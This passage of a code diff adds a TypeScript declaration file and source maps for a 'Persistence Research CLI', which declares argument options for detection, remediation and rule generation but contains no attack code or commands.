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"}
@@ -0,0 +1,36 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Persistence Research CLI
4
+ *
5
+ * Command-line interface for security research on persistence mechanisms
6
+ * across Windows, Linux, and cross-platform environments.
7
+ */
8
+ interface CLIArguments {
9
+ platform?: string;
10
+ output?: 'text' | 'json' | 'csv';
11
+ includeRemediation?: boolean;
12
+ riskThreshold?: 'low' | 'medium' | 'high' | 'critical';
13
+ generateRules?: string[];
14
+ testCases?: boolean;
15
+ simulateDetection?: boolean;
16
+ assessment?: boolean;
17
+ help?: boolean;
18
+ }
19
+ declare class PersistenceCLI {
20
+ private analyzer;
21
+ constructor();
22
+ /**
23
+ * Parse command line arguments
24
+ */
25
+ parseArguments(args: string[]): CLIArguments;
26
+ /**
27
+ * Display help information
28
+ */
29
+ showHelp(): void;
30
+ /**
31
+ * Execute the CLI with provided arguments
32
+ */
33
+ execute(args: string[]): Promise<void>;
34
+ }
35
+ export { PersistenceCLI };
36
+ //# sourceMappingURL=persistence-cli.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"persistence-cli.d.ts","sourceRoot":"","sources":["../../src/security/persistence-cli.ts"],"names":[],"mappings":";AAEA;;;;;GAKG;AAIH,UAAU,YAAY;IACpB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,MAAM,CAAC,EAAE,MAAM,GAAG,MAAM,GAAG,KAAK,CAAC;IACjC,kBAAkB,CAAC,EAAE,OAAO,CAAC;IAC7B,aAAa,CAAC,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,GAAG,UAAU,CAAC;IACvD,aAAa,CAAC,EAAE,MAAM,EAAE,CAAC;IACzB,SAAS,CAAC,EAAE,OAAO,CAAC;IACpB,iBAAiB,CAAC,EAAE,OAAO,CAAC;IAC5B,UAAU,CAAC,EAAE,OAAO,CAAC;IACrB,IAAI,CAAC,EAAE,OAAO,CAAC;CAChB;AAED,cAAM,cAAc;IAClB,OAAO,CAAC,QAAQ,CAAsB;;IAMtC;;OAEG;IACH,cAAc,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,YAAY;IAiD5C;;OAEG;IACH,QAAQ,IAAI,IAAI;IAoChB;;OAEG;IACG,OAAO,CAAC,IAAI,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC;CAuD7C;AAWD,OAAO,EAAE,cAAc,EAAE,CAAC"}